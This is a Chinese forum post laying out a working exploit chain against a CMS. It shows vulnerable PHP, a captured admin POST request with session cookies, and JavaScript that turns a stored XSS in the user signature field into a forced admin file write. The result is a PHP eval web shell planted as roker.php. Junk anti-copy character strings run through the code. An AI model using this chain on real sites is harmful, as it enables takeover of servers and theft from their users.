| 这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了,所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名: </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> </textarea></td></tr> user/do.php if($op=='zl'){ //资料 - y3 M& b6 j0 A+ k- O if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', # Y0 P, k; ?3 t0 h( h CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' where CS_Name='".$cscms_name."'"; E+ Z' O! v$ z( u7 O9 H " l! W4 E% c3 s/ E if($db->query($sql)){ 5 W, I: j* ]# Z: p! |0 Z( Q exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));% h L; [# e* C% r# w, a 1 V x4 F4 c: `1 Y3 Z/ a# K }else{/ p2 v8 }8 M+ W+ L b5 b & t3 [( r+ h) b- h, L7 B4 A exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);')); } 没有 过滤导致xss产生。+ {% d* }* j7 c 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 . B! n2 b2 u9 y2 C0 y . K( W- G1 h& D5 p2 H. s& t# o8 V 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 0 }. E# I$ C: |! q/ l! n3 | Accept: text/html, application/xhtml+xml, */* Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php Accept-Language: zh-CN# w3 }' |8 u ?$ s+ b User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) 8 o7 T0 q R" n1 z4 o7 V2 v1 t Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: 127.0.0.1 $ f" D5 L* J" p% M& o8 G Content-Length: 38# g6 _ R6 K! I8 U8 e3 m n% P, _ DNT: 1; h; \6 @& n8 F* [! `% i7 c Connection: Keep-Alive/ m. F9 [+ `8 g6 O2 ~* ~ Cache-Control: no-cache , c* y5 s6 u$ i2 d8 a Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594! _# t$ c; ]# U" r) X : I0 g0 u- z$ }% ^ name=aaa.php&content=%3Cs%3E%3Ca%25%3E D8 b0 }# E: j. a) S 于是 构造js如下。1 Q2 a( o3 K7 b) a' t; e3 a: p , _ l& b% n0 v d+ @ 本帖隐藏的内容<script> : p2 U4 m! C' K0 ~3 w thisTHost = top.location.hostname; & [, J. w" t6 Y9 E thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";, R6 D% B% l6 O6 \" ~( z- P function PostSubmit(url, data, msg) { 8 t! j6 e6 n9 q: M, q6 Y. t7 N var postUrl = url; 3 U4 p# x, u# Q# g var postData = data; 4 j. _* M y$ J8 g& {$ e$ n3 O var msgData = msg; 9 e9 G& C' b: Z$ ~# p var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); . G8 i2 u) r C ExportForm.method = "POST"; 5 n& |" B" t8 a4 i4 ~8 G var newElement = document.createElement("input"); 2 D8 ^0 ]/ S) t" P# X% P* r: p0 K newElement.setAttribute("name", "name"); 3 Q2 L: G, Q5 P7 f+ A" k& P4 q newElement.setAttribute("type", "hidden"); var newElement2 = document.createElement("input"); newElement2.setAttribute("name", "content"); newElement2.setAttribute("type", "hidden"); + D0 |( t: i) J3 ~! O, d ExportForm.appendChild(newElement); 6 [- r( Q6 r" i) q: v ExportForm.appendChild(newElement2); 4 m3 y( k3 Z" a( ], u2 x newElement.value = postData; / ?( Z; F# |( b# W; t# d* P newElement2.value = msgData; . }5 O9 A2 |3 A0 M! ]9 u ExportForm.action = postUrl; ExportForm.submit(); % ^$ P( ?; Z$ F% h# A; M. j. j, @ };( n9 T& S4 w* L+ L) i PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");4 s" w5 |1 `* E7 Y3 F3 z" l, _ </script>+ a' B/ ^8 b2 U: P! S 6 X8 H9 f+ X! W8 |% e ' l: R1 u% J8 ~. U http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)' D- u$ o$ w8 X' P: Q 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
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